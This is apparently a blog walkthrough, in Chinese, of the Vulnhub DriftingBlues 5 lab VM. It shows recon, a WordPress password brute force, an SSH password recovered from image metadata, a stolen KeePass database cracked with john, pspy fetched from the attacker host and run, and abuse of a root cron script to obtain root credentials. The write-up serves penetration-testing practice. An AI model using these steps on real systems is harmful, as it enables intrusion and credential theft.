主頁 >  其他 > Vulnhub之DriftingBlues 5靶機詳細測驗程序（得到root shell）

Vulnhub之DriftingBlues 5靶機詳細測驗程序（得到root shell）

2023-05-20 08:01:30 其他

DriftingBlues 5

靶機資訊

名稱: DriftingBlues: 5

地址:

https://download.vulnhub.com/driftingblues/driftingblues5_vh.ova

識別IP地址

(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                        

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                           
 192.168.56.100  08:00:27:a6:7d:47      1      60  PCS Systemtechnik GmbH                                                                                   
 192.168.56.128  08:00:27:12:bf:76      1      60  PCS Systemtechnik GmbH

NMAP掃描

┌──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.128 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-19 02:50 EDT
Nmap scan report for 192.168.56.128
Host is up (0.00019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.6.2
|_http-title: diary – Just another WordPress site
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:12:BF:76 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NMAP掃描結果表明目標主機有2個開放埠：22（SSH),80（HTTP）

Get Foothold

┌──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ curl http://192.168.56.128/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 192.168.56.128 Port 80</address>
</body></html>

目標主機沒有robots.txt檔案，

──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ nikto -h http://192.168.56.128
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.128
+ Target Hostname:    192.168.56.128
+ Target Port:        80
+ Start Time:         2023-05-19 02:53:37 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://192.168.56.128/index.php/wp-json/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ OSVDB-3268: /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
+ /wp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2023-05-19 02:54:42 (GMT-4) (65 seconds)

nikto工具運行結果表明目標主機運行wordpress,在嘗試掃描wordpress用戶名和插件之間，看有無其他的目錄：

┌──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ gobuster dir -u http://192.168.56.128 -oN nmap_full_scan -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.bak,.js,.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.128
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              bak,txt,php,html,js
[+] Timeout:                 10s
===============================================================
2023/05/19 02:56:08 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/index.php            (Status: 301) [Size: 0] [--> http://192.168.56.128/]
/wp-content           (Status: 301) [Size: 321] [--> http://192.168.56.128/wp-content/]
/license.txt          (Status: 200) [Size: 19915]
/wp-login.php         (Status: 200) [Size: 6675]
/wp-includes          (Status: 301) [Size: 322] [--> http://192.168.56.128/wp-includes/]
/readme.html          (Status: 200) [Size: 7278]
/wp-trackback.php     (Status: 200) [Size: 135]
/wp-admin             (Status: 301) [Size: 319] [--> http://192.168.56.128/wp-admin/]
/xmlrpc.php           (Status: 405) [Size: 42]
/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/wp-signup.php        (Status: 302) [Size: 0] [--> http://192.168.56.128/wp-login.php?action=register]
/server-status        (Status: 403) [Size: 279]
Progress: 1322241 / 1323366 (99.91%)
===============================================================
2023/05/19 03:00:52 Finished
===============================================================

gobuster工具沒有掃描出更有用的的目錄或者檔案，

─(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ wpscan --url http://192.168.56.128 -e u,p
[+] abuzerkomurcu
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.56.128/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] satanic
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] gill
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] collins
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] gadd
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

wpscan工具掃描出用戶名，（備注：沒有掃描出有漏洞的插件）

─(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ wpscan --url http://192.168.56.128 -U abuzerkomurcu -P /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

用經典的rockyou.txt字典沒有破解出來，考慮到目標主機頁面內容較多，是否密碼存在頁面中，因此用cewl工具生成字典：

┌──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ cewl -d 3 http://192.168.56.128 -w dict 
CeWL 5.5.2 (Grouping) Robin Wood ([email protected]) (https://digi.ninja/)

─(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ wpscan --url http://192.168.56.128 -U users.dict -P dict
[!] Valid Combinations Found:
 | Username: gill, Password: interchangeable

但是只有gill的密碼被破解出來，利用該密碼登錄，發現gill并不是管理員用戶，在媒體中發現了一張圖片，這張圖片并沒有出現在前端頁面中，比較可疑，將其下載到Kali Linux本地，

┌──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ exiftool dblogo.png 
ExifTool Version Number         : 12.44
File Name                       : dblogo.png
Directory                       : .
File Size                       : 19 kB
File Modification Date/Time     : 2023:05:19 03:31:44-04:00
File Access Date/Time           : 2023:05:19 03:31:44-04:00
File Inode Change Date/Time     : 2023:05:19 03:31:44-04:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 300
Image Height                    : 300
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 2835
Pixels Per Unit Y               : 2835
Pixel Units                     : meters
XMP Toolkit                     : Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39
Creator Tool                    : Adobe Photoshop CC 2018 (Windows)
Create Date                     : 2021:02:24 02:55:28+03:00
Metadata Date                   : 2021:02:24 02:55:28+03:00
Modify Date                     : 2021:02:24 02:55:28+03:00
Instance ID                     : xmp.iid:562b80d4-fe12-8541-ae0c-6a21e7859405
Document ID                     : adobe:docid:photoshop:7232d876-a1d0-044b-9604-08837143888b
Original Document ID            : xmp.did:5890be6c-649b-0248-af9b-19889727200c
Color Mode                      : RGB
ICC Profile Name                : sRGB IEC61966-2.1
Format                          : image/png
History Action                  : created, saved
History Instance ID             : xmp.iid:5890be6c-649b-0248-af9b-19889727200c, xmp.iid:562b80d4-fe12-8541-ae0c-6a21e7859405
History When                    : 2021:02:24 02:55:28+03:00, 2021:02:24 02:55:28+03:00
History Software Agent          : Adobe Photoshop CC 2018 (Windows), Adobe Photoshop CC 2018 (Windows)
History Changed                 : /
Text Layer Name                 : ssh password is 59583hello of course it is lowercase maybe not
Text Layer Text                 : ssh password is 59583hello of course it is lowercase maybe not :)
Document Ancestors              : adobe:docid:photoshop:871a8adf-5521-894c-8a18-2b27c91a893b
Image Size                      : 300x300
Megapixels                      : 0.090

利用exiftool工具得到了ssh密碼，利用該密碼登錄其SSH:

┌──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ ssh [email protected]
The authenticity of host '192.168.56.128 (192.168.56.128)' can't be established.
ED25519 key fingerprint is SHA256:P07e9iTTwbyQae7lGtYu8i4toAyBfYkXY9/kw/dyv/4.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:35: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.128' (ED25519) to the list of known hosts.
[email protected]'s password: 
Linux driftingblues 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gill@driftingblues:~$ id
uid=1000(gill) gid=1000(gill) groups=1000(gill)
gill@driftingblues:~$ ls -alh
total 24K
drwxr-xr-x 4 gill gill 4.0K May 19 02:33 .
drwxr-xr-x 4 root root 4.0K Feb 24  2021 ..
drwx------ 3 gill gill 4.0K May 19 02:33 .gnupg
-rwx------ 1 gill gill 2.0K Feb 24  2021 keyfile.kdbx
drwx------ 2 gill gill 4.0K Feb 24  2021 .ssh
-r-x------ 1 gill gill 1.8K Jan  3  2021 user.txt
gill@driftingblues:~$ cat user.txt 
flag 1/2
??????▄▄▄▄????????▄▄▄▄▄▄▄
?????█????????????????????▄
????█??????????????????????█
???█??????▄██?▄▄?????▄▄▄????█
?▄??▄▄▄??█????▄▄█???██▄▄█????█
█??█?▄??▄▄▄?????????█?????????█
█??█?█?▄▄?????█??????▄??▄???▄?█
?█??▄?█▄?█?▄▄??????▄▄?????█??█
??█????▄?█▄▄?█???▄▄▄▄??█?██?█
???█????██???█▄▄▄█▄▄█▄▄██▄??█
????█??????▄?█???█?█?█?█?██?█
??????▄???????▄▄▄█▄█▄█▄█▄???█
????????▄▄???????????????????█
?????█??????▄▄???????????????█
?????▌??????█??▄▄▄▄▄????????█
??███?????▄▄█?▄▄?██▄▄▄▄▄▄▄▄?
??████??▄?█?█▄▄▄▄▄█?▄?▄
??█??▌?█????▄?█?█?▄????█
??█??▌?█??█??█???█??█??█
??█??????██??█???█??█??█
?????▄▄???█????▄????█??█



gill@driftingblues:~$

Privilege Escalation

在gill家目錄中有檔案keyfile.kdbx,肯定非常有用，將其下載到Kali Linux，

通過KeePass密碼安全創建的資料檔案稱為KDBX檔案，它們通常所說的KeePass的密碼資料庫，這些檔案包含密碼的加密資料庫，其中如果用戶設定一個主密碼，并通過主密碼訪問他們，他們只能查看，當涉及到的電子郵件帳戶的個人登錄憑據，電子商務網站，視窗，FTP站點和其他目的的安全存盤KDBX檔案是很有用的，

──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ wget http://192.168.56.128:8000/keyfile.kdbx            
--2023-05-19 03:36:26--  http://192.168.56.128:8000/keyfile.kdbx
Connecting to 192.168.56.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2030 (2.0K) [application/octet-stream]
Saving to: ‘keyfile.kdbx’

keyfile.kdbx                            100%[============================================================================>]   1.98K  --.-KB/s    in 0s      

2023-05-19 03:36:26 (217 MB/s) - ‘keyfile.kdbx’ saved [2030/2030]


┌──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ keepass2john keyfile.kdbx > keyfile_hash

┌──(kali?kali)-[~/Desktop/Vulnhub/Driftingblues5]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt keyfile_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
porsiempre       (keyfile)     
1g 0:00:01:23 DONE (2023-05-19 03:38) 0.01196g/s 82.44p/s 82.44c/s 82.44C/s winston1..palomita
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

用得到的密碼到下面的網站破解檔案:

https://app.keeweb.info/

得到5個類似于密碼的字串，但是并不是root密碼

2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwylde

ill@driftingblues:/tmp$ wget http://192.168.56.230:8000/pspy64
--2023-05-19 02:45:48--  http://192.168.56.230:8000/pspy64
Connecting to 192.168.56.230:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                  100%[============================================================================>]   2.96M  --.-KB/s    in 0.03s   

2023-05-19 02:45:48 (102 MB/s) - ‘pspy64’ saved [3104768/3104768]

gill@driftingblues:/tmp$ chmod +x pspy64
gill@driftingblues:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██?  ██??██    ? ▓██?  ██??██  ██?
    ▓██? ██▓?? ▓██▄   ▓██? ██▓? ?██ ██?
    ?██▄█▓? ?  ?   ██??██▄█▓? ? ? ?██▓?
    ?██? ?  ??██████???██? ?  ? ? ██?▓?
    ?▓?? ?  ?? ?▓? ? ??▓?? ?  ?  ██??? 
    ?? ?     ? ??  ? ??? ?     ▓██ ??? 
    ??       ?  ?  ?  ??       ? ? ??  
                   ?           ? ?     
                               ? ?     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/05/19 02:46:01 CMD: UID=0     PID=1694   | /bin/bash /root/key.sh 
2023/05/19 02:46:01 CMD: UID=0     PID=1693   | /bin/sh -c /root/key.sh 
2023/05/19 02:46:01 CMD: UID=0     PID=1692   | /usr/sbin/CRON -f 
2023/05/19 02:46:01 CMD: UID=1000  PID=1685   | ./pspy64 
2023/05/19 02:46:01 CMD: UID=0     PID=1665   | 
2023/05/19 02:46:01 CMD: UID=0     PID=1585   | 
2023/05/19 02:46:01 CMD: UID=1000  PID=1545   | -bash 
2023/05/19 02:46:01 CMD: UID=1000  PID=1544   | sshd: gill@pts/0     
2023/05/19 02:46:01 CMD: UID=1000  PID=1531   | (sd-pam) 
2023/05/19 02:46:01 CMD: UID=1000  PID=1530   | /lib/systemd/systemd --user 
2023/05/19 02:46:01 CMD: UID=0     PID=1527   | sshd: gill [priv]    
2023/05/19 02:46:01 CMD: UID=33    PID=1238   | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=33    PID=1202   | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=33    PID=1027   | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=0     PID=949    | 
2023/05/19 02:46:01 CMD: UID=33    PID=846    | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=33    PID=806    | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=33    PID=805    | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=33    PID=777    | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=33    PID=743    | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=33    PID=541    | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=33    PID=540    | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=0     PID=524    | /usr/sbin/apache2 -k start 
2023/05/19 02:46:01 CMD: UID=0     PID=492    | /usr/sbin/sshd -D 
2023/05/19 02:46:01 CMD: UID=106   PID=488    | /usr/sbin/mysqld 
2023/05/19 02:46:01 CMD: UID=0     PID=409    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2023/05/19 02:46:01 CMD: UID=0     PID=384    | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3                                                                                                                         
2023/05/19 02:46:01 CMD: UID=104   PID=354    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/05/19 02:46:01 CMD: UID=0     PID=353    | /lib/systemd/systemd-logind 
2023/05/19 02:46:01 CMD: UID=0     PID=352    | /usr/sbin/cron -f 
2023/05/19 02:46:01 CMD: UID=0     PID=347    | /usr/sbin/rsyslogd -n -iNONE 
2023/05/19 02:46:01 CMD: UID=101   PID=341    | /lib/systemd/systemd-timesyncd 
2023/05/19 02:46:01 CMD: UID=0     PID=328    | 
2023/05/19 02:46:01 CMD: UID=0     PID=327    | 
2023/05/19 02:46:01 CMD: UID=0     PID=326    | 
2023/05/19 02:46:01 CMD: UID=0     PID=325    | 
2023/05/19 02:46:01 CMD: UID=0     PID=321    | 
2023/05/19 02:46:01 CMD: UID=0     PID=320    | 
2023/05/19 02:46:01 CMD: UID=0     PID=275    | 
2023/05/19 02:46:01 CMD: UID=0     PID=274    | 
2023/05/19 02:46:01 CMD: UID=0     PID=237    | /lib/systemd/systemd-udevd 
2023/05/19 02:46:01 CMD: UID=0     PID=215    | /lib/systemd/systemd-journald 
2023/05/19 02:46:01 CMD: UID=0     PID=187    | 
2023/05/19 02:46:01 CMD: UID=0     PID=186    | 
2023/05/19 02:46:01 CMD: UID=0     PID=184    | 
2023/05/19 02:46:01 CMD: UID=0     PID=153    | 
2023/05/19 02:46:01 CMD: UID=0     PID=117    | 
2023/05/19 02:46:01 CMD: UID=0     PID=116    | 
2023/05/19 02:46:01 CMD: UID=0     PID=114    | 
2023/05/19 02:46:01 CMD: UID=0     PID=113    | 
2023/05/19 02:46:01 CMD: UID=0     PID=111    | 
2023/05/19 02:46:01 CMD: UID=0     PID=110    | 
2023/05/19 02:46:01 CMD: UID=0     PID=108    | 
2023/05/19 02:46:01 CMD: UID=0     PID=106    | 
2023/05/19 02:46:01 CMD: UID=0     PID=59     | 
2023/05/19 02:46:01 CMD: UID=0     PID=50     | 
2023/05/19 02:46:01 CMD: UID=0     PID=49     | 
2023/05/19 02:46:01 CMD: UID=0     PID=48     | 
2023/05/19 02:46:01 CMD: UID=0     PID=30     | 
2023/05/19 02:46:01 CMD: UID=0     PID=29     | 
2023/05/19 02:46:01 CMD: UID=0     PID=28     | 
2023/05/19 02:46:01 CMD: UID=0     PID=27     | 
2023/05/19 02:46:01 CMD: UID=0     PID=26     | 
2023/05/19 02:46:01 CMD: UID=0     PID=25     | 
2023/05/19 02:46:01 CMD: UID=0     PID=24     | 
2023/05/19 02:46:01 CMD: UID=0     PID=23     | 
2023/05/19 02:46:01 CMD: UID=0     PID=22     | 
2023/05/19 02:46:01 CMD: UID=0     PID=21     | 
2023/05/19 02:46:01 CMD: UID=0     PID=20     | 
2023/05/19 02:46:01 CMD: UID=0     PID=19     | 
2023/05/19 02:46:01 CMD: UID=0     PID=18     | 
2023/05/19 02:46:01 CMD: UID=0     PID=17     | 
2023/05/19 02:46:01 CMD: UID=0     PID=16     | 
2023/05/19 02:46:01 CMD: UID=0     PID=15     | 
2023/05/19 02:46:01 CMD: UID=0     PID=14     | 
2023/05/19 02:46:01 CMD: UID=0     PID=12     | 
2023/05/19 02:46:01 CMD: UID=0     PID=11     | 
2023/05/19 02:46:01 CMD: UID=0     PID=10     | 
2023/05/19 02:46:01 CMD: UID=0     PID=9      | 
2023/05/19 02:46:01 CMD: UID=0     PID=8      | 
2023/05/19 02:46:01 CMD: UID=0     PID=6      | 
2023/05/19 02:46:01 CMD: UID=0     PID=4      | 
2023/05/19 02:46:01 CMD: UID=0     PID=3      | 
2023/05/19 02:46:01 CMD: UID=0     PID=2      | 
2023/05/19 02:46:01 CMD: UID=0     PID=1      | /sbin/init 
2023/05/19 02:46:01 CMD: UID=0     PID=1696   | /bin/bash /root/key.sh

將pyps64工具上傳目標主機，發現有個行程會被每分鐘執行一次：

2023/05/19 02:46:01 CMD: UID=0     PID=1693   | /bin/sh -c /root/key.sh

而根目錄下有/keyfolder，從/root/key.sh腳本的名字看出應該是跟密碼有關，而/keyfolder為密碼目錄，但是當前該目錄下什么都沒有，因此將前面破解得到的類似于密碼的字串作為檔案名創建檔案，但是然后看該目錄下有無變化，而且需要刪掉創建的檔案，說實話，這個漏洞太難發現了，也是參考別人的做法，

gill@driftingblues:/keyfolder$ cd /tmp
gill@driftingblues:/tmp$ touch 2real4surreal
gill@driftingblues:/tmp$ mv 2real4surreal /keyfolder/
gill@driftingblues:/tmp$ ls -alh /keyfolder/*
-rw-r--r-- 1 gill gill 0 May 19 03:01 /keyfolder/2real4surreal
-rw-r--r-- 1 gill gill 0 May 19 02:55 /keyfolder/buddyretard
-rw-r--r-- 1 gill gill 0 May 19 02:55 /keyfolder/closet313
-rw-r--r-- 1 gill gill 0 May 19 02:55 /keyfolder/exalted
-rw-r--r-- 1 gill gill 0 May 19 02:55 /keyfolder/fracturedocean
-rw-r--r-- 1 gill gill 0 May 19 02:56 /keyfolder/zakkwylde
gill@driftingblues:/tmp$ ls -alh /keyfolder/
total 8.0K
drwx---rwx  2 root root 4.0K May 19 03:01 .
drwxr-xr-x 19 root root 4.0K Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 May 19 03:01 2real4surreal
-rw-r--r--  1 gill gill    0 May 19 02:55 buddyretard
-rw-r--r--  1 gill gill    0 May 19 02:55 closet313
-rw-r--r--  1 gill gill    0 May 19 02:55 exalted
-rw-r--r--  1 gill gill    0 May 19 02:55 fracturedocean
-rw-r--r--  1 gill gill    0 May 19 02:56 zakkwylde
gill@driftingblues:/tmp$ rm -rf /keyfolder/*
gill@driftingblues:/tmp$ touch buddyretard
gill@driftingblues:/tmp$ ls -alh /keyfolder/
total 8.0K
drwx---rwx  2 root root 4.0K May 19 03:02 .
drwxr-xr-x 19 root root 4.0K Feb 24  2021 ..
gill@driftingblues:/tmp$ mv buddyretard /keyfolder/
gill@driftingblues:/tmp$ ls -alh /keyfolder/
total 8.0K
drwx---rwx  2 root root 4.0K May 19 03:03 .
drwxr-xr-x 19 root root 4.0K Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 May 19 03:02 buddyretard
gill@driftingblues:/tmp$ rm -rf /keyfolder/*
gill@driftingblues:/tmp$ touch closet313
gill@driftingblues:/tmp$ mv closet313 /keyfolder/
gill@driftingblues:/tmp$ ls -alh /keyfolder/
total 8.0K
drwx---rwx  2 root root 4.0K May 19 03:03 .
drwxr-xr-x 19 root root 4.0K Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 May 19 03:03 closet313
gill@driftingblues:/tmp$ rm -rf /keyfolder/*
gill@driftingblues:/tmp$ touch exalted
gill@driftingblues:/tmp$ mv exalted /keyfolder/
gill@driftingblues:/tmp$ ls -alh /keyfolder/
total 8.0K
drwx---rwx  2 root root 4.0K May 19 03:04 .
drwxr-xr-x 19 root root 4.0K Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 May 19 03:03 exalted
gill@driftingblues:/tmp$ rm -rf /keyfolder/*
gill@driftingblues:/tmp$ touch fracturedocean
gill@driftingblues:/tmp$ mv fracturedocean /keyfolder/
gill@driftingblues:/tmp$ ls -alh /keyfolder/
total 8.0K
drwx---rwx  2 root root 4.0K May 19 03:04 .
drwxr-xr-x 19 root root 4.0K Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 May 19 03:04 fracturedocean
gill@driftingblues:/tmp$ ls -alh /keyfolder/
total 12K
drwx---rwx  2 root root 4.0K May 19 03:05 .
drwxr-xr-x 19 root root 4.0K Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 May 19 03:04 fracturedocean
-rw-r--r--  1 root root   29 May 19 03:05 rootcreds.txt
gill@driftingblues:/tmp$ cat /keyfolder/rootcreds.txt 
root creds

imjustdrifting31
gill@driftingblues:/tmp$ 

gill@driftingblues:/tmp$ su - root
Password: 
root@driftingblues:~# id
uid=0(root) gid=0(root) groups=0(root)
root@driftingblues:~# cd /root
root@driftingblues:~# ls -alh
total 20K
drwx------  2 root root 4.0K Mar  8  2021 .
drwxr-xr-x 19 root root 4.0K Feb 24  2021 ..
-rw-------  1 root root   45 Mar  8  2021 .bash_history
-rwx------  1 root root  205 Feb 24  2021 key.sh
-r-x------  1 root root 1.8K Dec 17  2020 root.txt
root@driftingblues:~# cat root.txt 
flag 2/2
??????▄▄▄▄????????▄▄▄▄▄▄▄
?????█????????????????????▄
????█??????????????????????█
???█??????▄██?▄▄?????▄▄▄????█
?▄??▄▄▄??█????▄▄█???██▄▄█????█
█??█?▄??▄▄▄?????????█?????????█
█??█?█?▄▄?????█??????▄??▄???▄?█
?█??▄?█▄?█?▄▄??????▄▄?????█??█
??█????▄?█▄▄?█???▄▄▄▄??█?██?█
???█????██???█▄▄▄█▄▄█▄▄██▄??█
????█??????▄?█???█?█?█?█?██?█
??????▄???????▄▄▄█▄█▄█▄█▄???█
????????▄▄???????????????????█
???▌?█??????▄▄???????????????█
???█?▌??????█??▄▄▄▄▄????????█
??███?????▄▄█?▄▄?██▄▄▄▄▄▄▄▄?
??████??▄?█?█▄▄▄▄▄█?▄?▄
??█??▌?█????▄?█?█?▄????█
??█??▌?█??█??█???█??█??█
??█??????██??█???█??█??█
?????▄▄???█????▄????█??█

congratulations!

root@driftingblues:~# cat key.sh 
#!/bin/bash

if [[ $(ls /keyfolder) == "fracturedocean" ]]; then
        echo "root creds" >> /keyfolder/rootcreds.txt
        echo "" >> /keyfolder/rootcreds.txt
        echo "imjustdrifting31" >> /keyfolder/rootcreds.txt
fi
root@driftingblues:~#
STRIVE FOR PROGRESS,NOT FOR PERFECTION

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/552950.html

標籤：其他

上一篇：如何進行測驗分析與設計-HTSM啟發式測驗策略模型 | 京東云技術團隊

下一篇：返回列表

標籤雲
其他(159380) Python(38156) JavaScript(25439) Java(18078) C(15229) 區塊鏈(8267) C＃(7972) AI(7469) 爪哇(7425) MySQL(7202) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5871) 数组(5741) R(5409) Linux(5340) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4573) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2433) ASP.NET(2403) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1975) 功能(1967) Web開發(1951) HtmlCss(1940) python-3.x(1918) C++(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1878) .NETCore(1861) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種：三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看，三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看，三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統，“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

